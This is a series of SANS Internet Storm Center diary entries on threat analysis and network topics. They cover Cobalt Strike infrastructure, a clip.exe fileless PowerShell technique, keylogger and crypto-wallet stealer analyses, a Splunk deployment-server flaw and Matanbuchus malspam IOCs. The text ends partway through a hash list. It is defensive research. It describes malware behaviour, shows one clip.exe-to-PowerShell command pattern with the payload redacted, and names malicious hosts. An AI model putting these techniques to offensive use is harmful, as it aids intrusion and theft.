Introduction

How do threat actors behind a Cobalt Strike server keep it running after its domain is taken down?  If the server is not hosted through the domain registrar, it merely keeps running on the same IP address.

Today's diary is a case study where Cobalt Strike remained active on the same IP address at least one week after its domain was suspended.

Traffic Forensics

On Tuesday 2022-06-28, I generated a Qakbot infection in my lab and saw Cobalt Strike HTTPS traffic on 147.78.47[.]223 over TCP port 443 as shown below.

Shown above:  Traffic from a Qakbot infection with Cobalt Strike on Tuesday 2022-06-28 filtered in Wireshark.

Examining the certificate in Wireshark reveals it's a Let's Encrypt certificate for moros[.]icu.  Let's Encrypt is a legitimate free, automated, and open certificate authority (CA).  While used by many valid websites, this service is commonly abused by threat actors, including those behind malicious Cobalt Strike activity.

Shown above:  Reviewing certificate issuer data associated with Cobalt Strike traffic on 147.78.47[.]223 in Wireshark.

Investigating the Malicious Server

Viewing the certificate from 147.78.47[.]223 in a web browser reveals it was originally issued for moros[.]icu through Let's Encrypt on 2022-06-20 and is no longer valid for that IP.

Shown above:  Connecting to the Cobalt Strike server using a web browser.

Shown above:  Certificate data for moros[.]icu shown in a web browser.

The domain moros[.]icu was reported and suspended less than one day after it was registered through Namecheap, but its server was set up through a legitimate hosting provider at Flyservers.  Kudos to @ian_kenefick and Namecheap for quickly taking action and suspending this malicious domain!

Shown above: Tweets showing moros[.]icu was suspended on 2022-06-21.

Shown above:  My own confirmation that moros[.]icu no longer works.

Shown above:  Whois lookup for 147.78.47[.]223 using whois.domaintools.com.

The certificate's validity did not matter for Cobalt Strike activity I found on Tuesday 2022-06-28.  Since the traffic was generated by malware instead of a web browser, HTTPS still worked.

Flyservers has been a hosting provider since 2001, and it appears to be a legitimate company.  I've emailed their abuse address to report the malicious server on 147.78.47[.]223.

Final Words

Threat actors continually abuse legitimate hosting providers and certificate authorities (CAs), presumably through fraudulent accounts.  Both free and paid services are incredibly susceptible to criminal abuse.  Even Cobalt Strike is a legitimate red team tool commonly abused by various threat actors.

Security professionals can quickly report abuse cases, and service providers can rapidly shut down individual violations.  However, threat actors can easily recover, and malware-related servers will continue to be an issue for defenders everywhere.

This case study reveals how criminal activity can circumvent domain takedowns.  It also illustrates how time-intensive the associated investigation and corrective actions can be.

Brad Duncan
brad [at] malware-traffic-analysis.net

Recently I got a new phone - there was a crack in the screen of my old iPhone, and that was a decent excuse to upgrade my phone, which for me boils down to "same phone, slightly better camera"
Anyway, this meant that I was carrying two phones until I got all of my MFA apps and accounts migrated over to the new phone.  "Easy" you say?  Ummm - in same cases, yes.  Here's a summary of how easy it was, and what I found ...

Google authenticator
As easy as Export / Import
I had 18 entries, they all export to 2 QR codes.  They display on the old phone, scan them on the new phone and you're back in business!  I did this in the Google Authenticator app, but this works on just about every "google compatible" authenticator application - ie most password managers.

RSA
I still had my original SDTID files to import, but without the passphrases they would have been useless.  With them, it's a re-import from the original files+passcodes.  Without then, the next step would have been to request new token files or token links and passphrases from any clients I have left using RSA.  From there it's easy, just import the file/link on the new device.

Banking
Yup, MFA on Banking, with their proprietary app.  Apparantly their proprietary MFA app is important to them so that they can show you ads and "brand" your login (what could possibly go wrong with that).  I guess it's too easy to use a modern industry standard interface <sigh>, so they took a different "roll your own" path.  Anyway, no export.  They have great information on first-time setup of MFA for an account, but zero on migrating.  They ended up having me call someone at the bank (the "salesperson" for corporate banking) who simply re-enrolled me on the strength of my phone call and the irritation in my voice.  So this MFA is now as strong as my single factor (password) and the will of the salesperson to not offend a corporate customer.  So single factor.  Again <sigh>

MS Authenticator
There is a way to enable iCloud backups in the setup screen.  So the "easy" way to migrate your data is to enable cloud backup ("iCloud Backup" on an iPhone, or just "Cloud Backup" on an Android), then restore it to your new phone.  As with all things cloudy, you're relying on that cloud to secure that data, but I guess we're all past that until the cloud apocolypse breach (when all of us security folks say "see, we TOLD you").  Then restore to the new device and you're good, same as Google.

The other way to migrate MS Authenticator is to (for each account):

• Have the administrator (at your client) set you up to re-enroll a new device - in their MS dashboard they need to set "Require re-register MFA"
• Add the account in the app on the new phone
• Login when prompted (userid + password)
• You'll see a QR code, scan or accept that (since it's likely on the screen that has the camera on it), and you'll be re-enrolled

Roughly half of my MS Authenticator clients had left me in that "re-enroll" mode after the first enrollment, so they were essentially "single factor to re-enroll MFA".  The other half wanted verification from me that I was me before they enabled that - that was WAY more reassuring to see!

As you'd expect, I leave control of all of these customer logins with the various clients, I don't back them up.

Salesforce Authenticator
Register with a new phone number, and the entries all get pulled down from a backup in the cloud.  The entries then magically disappeared on my old phone. Since it just seems to be tied only to my phone number (which anyone can spoof), that just doesn't seem right.  I'm guessing that there's a new exploit class (using an old exploit class) in this ...

ESET Authenticator
No export, no import.  You need to get a new token from your administrator.  Just as old-school as RSA, maybe a bit more so. 

Looking at this list, the thing that keeps that tiny kernel of fear in my heart was "what if my phone had been stolen?".  In a migration, Google Authenticator was the easiest and (in my opinion) the most secure.  They don't store any of my data, and the export/import was done in a few minutes.  But if my phone had been stolen and I didn't have those QR codes backed up, recovery of my various individual accounts would have been a LOT more painful.  First, I'd have to remember what all I had in there, then I'd have been at the mercy of each individual site admin team.  I forsee pain and tears in that path .... (time to snag a backup of those QR's if you don't already have one!)

This is just my list of MFA apps.  If you've got one that I've missed, by all means use our comment form to add to this list!

 

===============
Rob VandenBrink
rob@coherentsecurity.com

HiBy is a brand of portable music players built around the Android operating system. Probably a bit comparable to the now-defunct iPod touch, the device does use a close to "stock" version of Android and adds its own "HiByMusic" application as a music player. The hardware includes a Snapdragon ARM CPU standard on Android devices and attempts to distinguish itself with DACs claimed to be better than those found in other devices.

 

 

The device offers a feature to load custom network radio station URLs via a "radio.txt" file. The file is a simple text file with a list of URLs. For example:

Radio Dismuke 1920s-30s pop/jazz, http://74.208.197.50:8020/stream.mp3
SomaFM: Heavyweight Reggae, http://ice2.somafm.com/reggae-256.mp3
SomaFM: Groove Salad, http://ice5.somafm.com/groovesalad-256.mp3
SomaFM: Groove Salad Classic, http://ice4.somafm.com/gsclassic-128.mp3
(sample of a radio.txt file found here: https://www.head-fi.org)

I was a bit surprised that we recently started seeing some scans looking for radio.txt files based on our "First Seen" report. The number of submissions is small. (see the URL History for radio.txt)

So the question is: why?

• I found one vulnerability specific to HiByMusic: %%CVE:2021-44124%% . It is a simple directory traversal and may result in information leakage. I don't think this is all that interesting but sure. Maybe other vulnerabilities have not yet been made public, or the attacker is looking for generic Android issues
• radio.txt files may include internal audio sources that are not openly advertised. This could leak information.
• Or just someone essentially trying to build a "radio station spider" to find as many publicly available radio stations as possible. Anybody knows if this "radio.txt" file is unique to HiByMusic, or if other players use files like this?

At least one more report is not linked to our data observing requests for radio.txt.

Any ideas about what's going on here? 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

The first payload sent by a TLS client to a TLS server is a "Client Hello." It includes several parameters supported by the client, such as available cipher suites, to start negotiating a compatible set of TLS parameters with the server. 

One particular option, the "Server Name Indication" (SNI), lists the hostname the client is looking for. The client hello is sent in the clear and has often been considered a privacy issue or, for some network defenders, the last straw to hold on to gain insight into TLS encrypted traffic.

Encrypted SNI (ESNI) was an initial solution to the privacy problem. As the name implies, it encrypts the SNI option in the client hello. The encryption uses a key communicated via DNS. You will first see a DNS lookup for a TXT record _esni.[domain name]. This TXT record will return the public key to encrypt the SNI option.

ESNI solves a significant part of the client hello privacy problem. But other client-hello options may be used to fingerprint clients. Encrypting the entire client hello message is the next obvious option. This idea, Encrypted Client Hello (ECH), is currently an IETF draft [ECH]. The encrypted client hello options are wrapped into an unencrypted "Client Hello Outer" that is used as a vessel to transport the encrypted blob. This blob will look like any other client hello option to a server not capable of ECH. 

Instead of a TXT record to communicate the key, ECH uses new SVCB and HTTPS records. This record provides more flexibility to advertise different options and keys [HTTPSRR].

Despite these standards in the draft stage, browsers are adding support for them. For the most part, ESNI is considered "dead" at this point, and browsers actively support ECH, but it may not be enabled by default. One feature that may lead to SVCB and HTTPS records being more commonly used than similar protocols like DANE is that SVCB/HTTPS does not require DNSSEC. The client will be able to verify the authenticity of the server using the usual TLS certificates. The DNS messages remain unprotected. As pointed out in the IETF draft, a hostile resolve will be able to downgrade the DNS responses.

But back to the title: Is anybody using these fancy standards? I took a look at my DNS logs to see how many requests I am seeing (and how many of them result in answers):

DNS requests for HTTPS records are undoubtedly popular, with about one HTTPS request for every 4 A record requests. Also, about 20% of the responses to HTTPS queries include at least one answer. So this looks pretty good, but the answer section of the response will not provide an answer here. None of the answers included an HTTPS record. They exclusively include A or CNAME records, which is also perfectly legal.

And a little side note if you want to play with this: The "dig" utility, at least the version I used (9.16.1-Ubuntu), does not fully understand the HTTPS record type.

$ dig -t HTTPS example.com
;; Warning, ignoring invalid type HTTPS

This warning is easily overlooked. Instead, try:

$dig -t TYPE65 blog.cloudflare.com
...
;; ANSWER SECTION:
blog.cloudflare.com.    18    IN    TYPE65    \# 67 0001000001000C0268330568332D323902683200040008681229AEAC 40925200060020260647004400000000000000681229AE2606470044 00000000000000AC409252
...

To query HTTPS records.

But the short answer to the headline question: No. Clients try to use it, but servers are not yet supporting encrypted client hello. Know of any example sites using it? Any comments or other suggestions to improve the methodology? Please leave a comment.

Oh. And, of course, this looks like yet another DNS covert channel opportunity. 

[ECH] https://datatracker.ietf.org/doc/html/draft-ietf-tls-esni-14
[HTTPSRR] https://datatracker.ietf.org/doc/html/draft-ietf-dnsop-svcb-https-10

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I received several reactions to my diary entry "Decoding Obfuscated BASE64 Statistically" and accompanying video.

I also made another example, this time with hexadecimal encoding.

The blog post: "Another Exercise In Encoding Reversing"

The video:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

The clip command that Xavier mentions is not only used by malware authors. I often use it, to copy the output of a command-line to the clipboard and then paste it inside a GUI application, like an hexadecimal editor.

Windows lacks the opposite of the clip command: the paste command.

So I made a paste program.

So now I can copy text from a text or hexadecimal editor for example, and pipe it into one of my tools.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Another day, another malicious script was found! Today, the script is a Windows bat file that executes malicious PowerShell code but the way it works is interesting. The script has a VT score of 16/54 ( )[1]. The script uses the Windows command-line tool "clip.exe" which is often unknown to people:

This tool helps to save the STDIN content in the clipboard. I checked the LOLBAS[2] project page and did not find "clip.exe".

How does it work?

cmd / c echo "[Redacted_malicious_payload]" | clip.exe && powershell.exe "<code>"

The malicious code is saved into the clipboard and PowerShell fetches it by executing <code>. It contains:

[System.Windows.Clipboard]::GetText.invoke()

The code is executed and the clipboard is cleared:

[System.Windows.Clipboard]::SetText.invoke()

It's a nice technique to implement fileless malware!

Note: The malware family is Boxter[3].

[1] https://www.virustotal.com/gui/file/294de23e4f510838c370ffff2b297fbd38f7da5171988dca091569389b262d6a/content
[2] https://lolbas-project.github.io
[3] https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/trojan.ps1.boxter.a

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

A quick diary to wrap-up the week with a nice Python script that interacts with the victim. Most malicious scripts try to remain below the radar to perform their nasty tasks. I found a Python script that has some interesting features. The file has a VT score of 10/55 (SHA256:e21f6c09fb1658397d0996751f4c79114f50a0853668227c1c589fb716b31603)[1]. The core feature is this script is to implement a keylogger but it has interesting capabilities.

First, it retrieves its C2 server via a simple HTTP request and extract it from the returned HTML code:

The protocol implemented with the C2 servers is very simple and seems to be "homemade", just a TCP session waiting for commands based on single letters:

There are classic commands to start/stop the keylogger, to upload/download files but you can also interact with the Windows 10 GUI. There is an interesting Python module loaded: "win10toast_click"[2]. This module helps to display Windows Toast notifications[3] like this example:

Here is the code used by the malicious script:

The attacker will display a notification to the victim and, if clicked, a browser will be launched with a (probably malicious) webpage with the help of the web-browser module[4]. This is perfect to conduct social engineering attacks and, for example, ask the user to leave credentials on a rogue site.

[1] https://www.virustotal.com/gui/file/e21f6c09fb1658397d0996751f4c79114f50a0853668227c1c589fb716b31603/detection
[2] https://pypi.org/project/win10toast-click/
[3] https://docs.microsoft.com/en-us/windows/apps/design/shell/tiles-and-notifications/adaptive-interactive-toasts?tabs=builder-syntax
[4] https://docs.python.org/3/library/webbrowser.html

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

When you have to deal with malware in your day job, for research purposes, or just for fun, one of the key points is to have a lab ready to be launched. Your sandbox must be properly protected and isolated to detonate your samples in a safe way but it must also be fulfilled with tools, and scripts. This toolbox is yours and will be based on your preferred tools but starting from zero is hard, that's why there are specific Linux distributions built for this purpose. The one that I use in FOR610 and for my daily investigations is REMnux[1], created and maintained by Lenny Zeltser[2]. This environment offers tons of tools that help to perform all the malware analysis steps from static analysis up to code reversing and debugging.

Even if it does not reveal a lot of information about the malware capabilities (especially today with all the obfuscation techniques in place), static analysis remains an important first step because:

• It's safe (you don't execute the malware)
• It's fast and can be automated to perform the "triage" of your sample
• It main still reveals interesting information that will help you to conduct the next steps.

The static analysis relies on information present in the file like... strings! But even strings can be challenging to find, we can indeed face:

• ASCII strings
• Unicode strings

But they are techniques used by attackers to hide strings. A common technique is called "stack strings".

The technique is pretty simple: some space is reserved on the stack then the string is rebuilt by moving all characters one by one. In the example above, the string will be:

0x50 ("P"), 0x72 ("r"), 0x6F ("o"), 0x67 ("g") ...

The results in memory will be:

Program Files\...

FLOSS is a tool that helps to extract strings from an executable (PE) file. FLOSS means "FLARE Obfuscated String Solver". It supports stack strings but also a new version has been released two days ago and it supports a new obfuscation technique: "tight strings". The principle is close to the stack strings but strings are also encoded!

FLOSS supports also simple ASCII & Unicode strings. This make is a perfect tool to extract useful strings from a PE file. Remember: it works only with executable files because it emulates the code to rebuild the strings!

FLOSS is a Python project[3] and is available as a standalone script but can be also "imported" and used in your own projects. It is available on REMnux and I'm sure that Lenny will push an update soon!

[1] https://remnux.org
[2] https://zeltser.com
[3] https://github.com/mandiant/flare-floss

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

While hunting, I found an interesting PowerShell script. After a quick check, my first conclusion was that it is again a simple info stealer. After reading the code more carefully, the conclusion was different: It targets crypto-currency browser apps or extensions. The script has a very low score on VT: 1/53[1].

It collects details about the infected computer:

The next function called is the most interesting one:

You can see that three browsers are targeted: Chrome, Brave, and Edge. The second foreach() loop tries to find interesting extensions installed in browsers:

The list is pretty long and I don't display all of them. Here are the ones related to Chrome:

Let's take the patch of "Coinbase-C": A simple Google search returns indeed references to the application ID:

https://chrome.google.com/webstore/detail/coinbase-wallet-extension/hnfanknocfeofbddgcijnmhnfnkdnaad

While analyzing the code, I found two commented lines:

The very long line contains another PowerShell script that is decoded and launched via Start-Job(). It's purpose is to monitor the clipboard of the infected computer. To do this, it implements a listener to intercept clipboard activity:

Here is the function that checks for an interesting content:

You can guess that, if a wallet address is found, it will be replaced by the imposter's one. Why this feature was disabled (commented)? I don't know, maybe the script is still being debugged and has been uploaded to VT as a first check? Note that there is no code obfuscation! Yet?

The C2 communications occur via a newly (2022-06-14) registered domain: wmail-endpoint[.]com

Finally, the script includes the capability to execute extra PowerShell code received from the C2 server:

Besides the clipboard monitoring function, the information about the installed browser extensions is exfiltrated to the attacker. For which purpose? Reconnaissance only? It's unclear...

[1] https://www.virustotal.com/gui/file/0bbce92b547f0e99a37636b090cb05d9633cc05e1ce876e0076ca32dc4c901c4/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

One of our goals is to provide data to "color your logs" (or "Augment" them, as vendors may say). I have been experimenting with various ways to get simplified access to "domain age" data for a while now. This means not just data about new domains but how old a particular domain is. It may be an interesting parameter to add to when investigating.

To make it easier to retrieve this data, we now have two new API functions, and I may finally document them properly at https://isc.sans.edu/api (where you will find all the other random data we make available). I have been playing with this for a while and may have posted about it, but now it is as ready as it will be for a while.

Lookups are simple:

curl --user-agent 'this is Dr. J' 'https://isc.sans.edu/api/domainage/sans.org?json'

Just replace "sans.org" with the domain you are interested in.

For domains "first seen" on a particular date, try:

curl --user-agent 'this is Dr. J' 'https://isc.sans.edu/api/recentdomains/2022-06-01?json'

if you omit the date, the last date ("today") is returned. This only works for dates one month back.

Quick FAQ:

• Where does the data come from?
  Multiple sources. Some domains we discover by seeing them in our web/ssh/firewall log data. Some comes from registrars, some from certificate transparency logs. Some of the old domain data comes from "whois" lookups.
• How "good" is the "firstseen" date?
  We call it "firstseen" for a reason. This is the first time we have seen the domain. It may be older. Sometimes this is based on whois data, but not always.
• What is the rate limit / SLA for this API:
  Right now, we do not have a strict rate limit. But this is meant for occasional, not bulk, lookup. One lookup a second, maybe a thousand or so a day, should be good. We do not do API keys or authentication. But please add some information to the user agent that allows us to reach out in case of a problem. Some default user agents may get blocked, so customize your user agent (we want to get at least rid of requests that are too lazy to alter their user agent)
• Are there any restrictions on usage?
  Do not resell. Other than that, you are OK to use it. Please attribute. Our standard "creative commons" license applies if you are interested in details. Please ask us if you have questions.
• What is the data quality?
  That is what I want you to tell me? See errors/omissions? Let us know. The data is provided "as-is" (but you will get the money back that you didn't pay if something is wrong)
• What is the "type" about?
  Treat it as a "comment," but it is still being developed.
• What output formats do you support
  RTFM at isc.sans.edu/api 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

TCP Fast Open (TFO) is a relatively new TCP feature. The corresponding RFC7413 was published in 2014 and labeled "Experimental" [1]. The feature has been showing up in browsers and operating systems in the last couple of years. In particular, together with TLS 1.3, it can significantly decrease the time it takes to set up a connection.

The "textbook" TCP handshake starts with an "SYN" packet from the client to the server. The server responds with an "SYN-ACK," and finally, the client completes the handshake with an "ACK." The original RFC for TCP (RFC793) does allow the first "SYN" packet to hold data, but the server does not process the data until the handshake is complete. As a result, there is no point in sending data that early, and historically, data on SYN was hardly ever seen legitimately.

One of the reasons TCP servers do not respond immediately is the danger of spoofing. It is possible to spoof TCP SYN packets. A spoofed HTTP request over TCP could trick the server into flooding an unsuspecting victim with data, leading to amplification attacks as we usually see with UDP. By waiting until the handshake is completed, some spoofing danger is reduced by verifying the sequence numbers.

TFO is built for a particularly common use case where a client establishes multiple connections to a server in quick succession. The first time the client connects, it uses a specific TCP option to request a "TFO Cookie." The server will respond with a unique cookie. Future SYN packets by the same client will include this cookie, validating that the packet is not spoofed. Data is processed immediately if the cookie is valid. Any data will be buffered if the cookie is invalid until the handshake is complete, falling back to the pre-TFO behavior.

The cookie itself has to be at least four bytes long. The RFC suggests that the server encrypts the IP address with a secret only known to the server. Four bytes is as long as the TCP sequence number and should provide a similar level of security. As far as the client is concerned, the cookie is a "random" value that is saved for a particular server.

Now why the lengthy introduction?

Lately, I am seeing a good number of Suricata alerts like:

[**] [1:2200036:2] SURICATA TCP option invalid length [**] [Classification: Generic Protocol Command Decode] [Priority: 3] {TCP} 

Investigating them, I found that these alerts point to connections with short 2-byte TCP cookies. I see these packets from about a dozen different sources, but one source, %%ip:135.181.78.222%% is by far the most "popular" one.

Here is a decoded sample packet:

The packets always use a 2-byte TFO cookie. No server provides a cookie, so the cookie is "spoofed." The source IP itself may be spoofed. TTLs appear to be "random," and other parameters like the MSS change from packet to packet.

So the real question: Why? Is this an attempt to detect how servers respond to these invalid cookies? Maybe someone found some form of application attack? The packets do not include payload, so a bit hard to tell. Or some cover channel using TFO cookies as a "key"?

I am attaching a copy of the traffic I saw recently from 135.181.78.222. The destination IP is obfuscated.

https://isc.sans.edu/diaryimages/oddtfo.pcap

 

[1] https://www.rfc-editor.org/rfc/rfc7413.html 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I recorded a video for my diary entry "Decoding Obfuscated BASE64 Statistically ".

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Wireshark version 3.6.6 was released.

If you use Wireshark on Windows 11, you need to upgrade to this version, because of the bump to Npcap version 1.60. There's an issue with Npcap 1.55 on Windows 11, which is installed by Wireshark 3.6.5 installers on Windows.

Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

In diary entry "Houdini is Back Delivered Through a JavaScript Dropper", Xavier mentions that he had to deal with an obfuscated BASE64 string.

I want to show here how this can be done through statistical analysis of the encoded payload.

First of all, Xavier mentions a great method to quickly find payloads inside scripts: look at the longests strings first.

Although the strings command is usually given binary files for processing, it works on text files too. My strings.py tool has an option to sort strings by their lenght: option -L.

This is the result of running that strings.py -L command on Xavier's sample:

Another method I like to find payloads inside files (binary or text) is to run my base64dump.py tool on the file, searching for all supported encodings (option -e all):

There's a very long string (78369 characters long) that looks like it is encoded with b85 (a variant of BASE85). But notice that only 63 unique characters are used to encode the payload, so this is probably not BASE85, but maybe a variant/obfuscation of BASE64.

This string does not decode to a payload I recognize.

So let's extract this encoded payload and do some statistical analysis to try to figure out what we are dealing with.

I select the longest string:

Then I use my tool re-search.py to extract the JavaScript string with single quotes. I use regular expression '[^']+' for this (a single quote followed by any characters that are not a single quote, and then another single quote):

My tool re-search extracts all strings that match the provided regular expression. If you use a capture group in your regular expression, then re-search reports the first capture group, and not the complete match. I use this to extract the encoded payload without surrounding single quotes, using regular expression '([^']+)'.  ([^']+) is the first capture group:

Now that I have isolated the payload, I pipe this into my tool byte-stats.py to produce statistical information for the bytes that make up that encoded payload:

There are 65 unique bytes in the encoded payload, most of them printable characters, except for 2 whitespace characters.

Next, I use option -r (range) to print out the ranges of bytes found inside this encoded payload:

I have almost all BASE64 characters: all the digits, all the lowercase letters, and all the uppercase letters except letter A. And I don't have BASE64 characters +/=.

But I do have 4 characters that are not part of the BASE64 character set: ! & and the whitespace characters newline and carriage-return. These last 2 are actually not part of the payload, but just the end-of-line printed by re-search.

That can be confirmed by using option -a to print out all the byte statistics:

From these stats, I do indeed see that the carriage-return (0x0d) and newline (0x0a) characters appear only once.

And that characters ! and & (which are not part of the standard BASE64 character set) both do appear exactly 53 times each. Which is a bit odd, I would expect different frequencies, if they encode different bits.

To find out a bit more of the use of these 2 characters, I will use my re-search tool to search for them and their surrounding characters.

First I start with the ! character: regular expression ..!.. looks for 5 characters where the third character is !. And I use option -u to produce a unique least of matches (e.g., no doubles):

From this output, it appears that each time character ! is found in the encoded payload, it is followed by character &.

I double-check by using a capture group to extract character ! and the next character:

That confirms it: each time ! appears, it is followed by &.

Let's now do the same analysis for the & character:

And from this I conclude: each time the & character appears, it is preceded by the ! character.

So it looks like the obfuscation (or part of it) consists of inserting string !& at different places in the encoded payload (53 times). I double check this by using sed to remove string !& and calculating new statistics:

This confirms it: characters ! and & no longer appear in the statistics, so they always appear as a pair in the original encoded payload.

I will now remove string !& from the encoded payload, and then try to decode it with base64dump:

That fails. Throwing away !& does not yield a valid BASE64 string. I will now force decoding, by truncanting the payload to a multiple of 4 characters (valid BASE64 strings have a length that is a multiple of 4):

And now I do see something that I recognize, the start of a try statement:

So this is JavaScript that contains another encoded payload (looks like BASE64).

But, when I scroll down, the decoded payload suddenly starts to include binary data:

So my hypothesis that string !& was just inserted into a valid BASE64 string, to hinder decoding, is wrong.

Next hypothesis: string !& represents a valid BASE64 character, and I need to do a search and replace of string !& (e.g., not remove it, but replace it).

Replace it by which character? Looking at the statistics of the encoded payload, I noticed that BASE64 characters A + / = are missing. So it could be that string !& represents one of these 4 characters (actually, = is not possible, because that character can only appear at the end to a valid BASE64 string).

So let's try. I replace !& with A and try to decode:

And that works.

78316 characters were decoded, and that is the complete payload (78317 includes the EOL newline character):

And the decoded payload looks like another JavaScript script:

And it was properly decoded, because it doesn't contain binary data:

Only printable and whitespace bytes.

Thus, by performing statistical analysis of the encoded payload, I figured out it is BASE64 but obfuscated by replacing character A by string !&.

Of course, this is something Xavier found much faster by looking at the code of the decoder: replace !& with A.

But this was a good opportunity to illustrate how you can try to decode an obfuscated payload, if you don't have the decoder. That is something I have to do occasionaly. This is also a good sample to illustrate this method, because most encoding characters are left untouched. It is more difficult if many characters have to be substituted. And I do have an example of that too, but that is for another blog post.

Now that this payload is decoded, I will just spend some extra time looking at the encoded payloads inside the decoded payload:

So it looks like the decoded payload contains 2 long BASE64 strings:

Let's take a look at the first one:

That looks like JavaScript, similar to the original sample.

Here is the second payload:

That is the Houdini VBS script. Since it was not present on VirusTotal, I did submit it (also to MalwareBazaar).

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Splunk published an advisory about a critical security vulnerability in deployment server, which is a component that comes installed (but not fully used) with every Splunk Enterprise installation. However, due to it being very useful, almost every organization I’ve seen (and I’m a Splunk person really) uses it – which makes this even more dangerous.

So what is the vulnerability about?

When you use deployment server, it allows you to create configuration bundles that can be automatically downloaded by Splunk Universal Forwarder (SUF) agents (or other Splunk Enterprise instances such as heavy forwarders). These configuration bundles can, among plain text configuration files also contain binary packages (most commonly used for specific connectors).

The administrator of a deployment server controls which SUF can download what – this can be done by IP addresses, DNS names or architecture. And since those bundles can contain binary files, once fetched by a SUF, as you can probably guess, the SUF will happily execute it. And by default, most SUF agents will run as SYSTEM on Windows …

The published vulnerability (the exploit has not been published yet, and we have not seen any information about exploitation at the time of posting this diary) allows an attacker, that has compromised a single SUF in an organization to abuse the vulnerability and presumably push a new configuration bundle to every other SUF in the organization. As I wrote above, since SUF can download and execute binaries, and as it quite often runs as SYSTEM, this can be translated to pwning a whole organization. Eeek!

What can we do?

Splunk’s answer currently is to update to 9.0, which fixes the vulnerability. However, v9.0 is literally 2 days old so if you decide to go this way be careful!
There are no fixes for any of the older versions! Which means that you are almost certainly affected.

The only solution I am aware of at the moment (and thanks to Boris Kresoja and Alan Osmanagic for testing – Splunk guys working with me) is to disable deployment server so it is down, and bring it up only if you need to push configuration updates. Any bundle that has been already downloaded to a SUF will continue working.

An easy way to do this is to run the following command:

$ /opt/splunk/bin/splunk disable deploy-server

Keep in mind that you need to restart Splunk after the command above – if you don’t, all active connections to deployment server will continue to work.
Beside this we recommend that you install deployment server on a standalone Splunk Enterprise instance, where you can upgrade it to v9.0 (with less risk). It looks as the rest can stay as it is in that case; I’ll update the diary if we get new information.

--
Bojan
@bojanz
NFIGO IS

Introduction

On Thursday 2022-06-16, threat researchers discovered a wave of malicious spam (malspam) pushing Matanbuchus malware:

• https://twitter.com/pr0xylife/status/1537511268591992840
• https://twitter.com/executemalware/status/1537569201577156611

Today's diary reviews the activity, which led to Cobalt Strike in my lab environment.

Shown above:  Flow chart for Matanbuchus activity on Thursday 2022-06-16.

Email and Attachment

Shown above:  Screenshot from one of the emails pushing Matanbuchus on 2022-06-16.

Shown above:  The email attachment is a zip archive that contains an HTML file.

Shown above:  The HTML file pretends to be a OneDrive page, however, the HTML file actually contains base64 text that is converted to a file for download.

Shown above:  Zip archive downloaded from the HTML file contains an MSI package.

Shown above:  MSI extracted from the second zip archive is signed using a certificate, apparently from Digicert.

Running the MSI Package

Shown above:  MSI package pretends to install an Adobe font pack.

Shown above:  Installation process presents a fake error message.

Shown above:  VBS file that generated the fake error message, and the Matanbuchus DLL saved to the infected host in two different locations.

NOTE: In the above image, the Matanbuchus file main.dll was dropped by the .msi package, while 2100.nls was retrieved through HTTPS traffic after main.dll was run.  Both have the same SHA256 hash.

Shown above:  Scheduled task to keep the Matanbuchus malware persistent.

Traffic From an Infected Windows Host

Shown above:  Traffic from an infected Windows host filtered in Wireshark (part 1 of 2).

Shown above:  Traffic from an infected Windows host filtered in Wireshark (part 2 of 2).

Indicators of Compromise (IOCs)

SHA256 hashes for 7 unique attachments from 14 email examples on 2022-06-16:

• 72426e6b8ea42012675c07bf9a2895bcd7eae15c82343b4b71aece29d96a7b22  SCAN-016063.zip
• 6b2428fcf9e3a555a3a29fc5582baa1eda15e555c1c85d7bef7ac981d76b6068  SCAN-026764.zip
• af534b21a0a0b0c09047e1f3d4f0cdd73fb37f03b745dbb42ffd2340a379dc42  SCAN-068589.zip
• b9720e833fa96fec76f492295d7a46b6f524b958278d322c4ccecdc313811f11  SCAN-231112.zip
• 23fe3af756e900b5878ec685b2c80acd6f821453c03d10d23871069b23a02926  SCAN-287004.zip
• 53af0319d68b0dcbf7cb37559ddfd70cce8c526614c218b5765babdc54500a49  SCAN-446993.zip
• 4242064d3f62b0ded528d89032517747998d2fe9888d5feaa2a3684de2370912  SCAN-511007.zip

SHA256 hashes for HTML files extracted from the above 7 zip archives:

• d0e2e92ec9d3921dc73b962354c7708f06a1a34cce67e8b67af4581adfc7aaad  SCAN-016063.html
• 56ec91b8e594824a678508b694a7107d55cf9cd77a1e01a6a44993836b40ec7a  SCAN-026764.html
• cc08642ddbbb8f735a3263180164cda6cf3b73a490fc742d5c3e31130504e97c  SCAN-068589.html
• e3b98dac9c4c57a046c50ce530c79855c9fe4025a9902d0f45b0fb0394409730  SCAN-231112.html
• c117b17bf187a3d52278eb229a1f2ac8a73967d162ad0cfc55089d304b1cc8a7  SCAN-287004.html
• 82add858e5a64789b26c77e5ec4608e1f162aacbc9163920a0d4aa53eb3e9713  SCAN-446993.html
• 5708dced57f30ff79e789401360300fe3d5bdcf8f988ede6539b9608dfeb58fd  SCAN-511007.html

SHA256 hashes for zip archives generated by the above 7 HTML files:

• 63242d49d842cdf699b0ec04ad7bba8867080f8337d3e0ec7e768d10573142b3  SCAN-016063.zip
• 6c5eb5d9a66200f0ab69ee49ba6411abf29840bce00ed0681ec8b48e24fd83da  SCAN-026764.zip
• ef4ea3976bad1cd68a2da2d926677c0cb04f4fc6e0b629b9a29a1c61ae984c46  SCAN-068589.zip
• 19bbebd1e8ec335262e846149a893f4ce803f201e4dee7f3770d95287f9245f3  SCAN-231112.zip
• de26167160e7df91bbd992a3523ea6a82049932b947452bb58e9eed3011c769a  SCAN-287004.zip
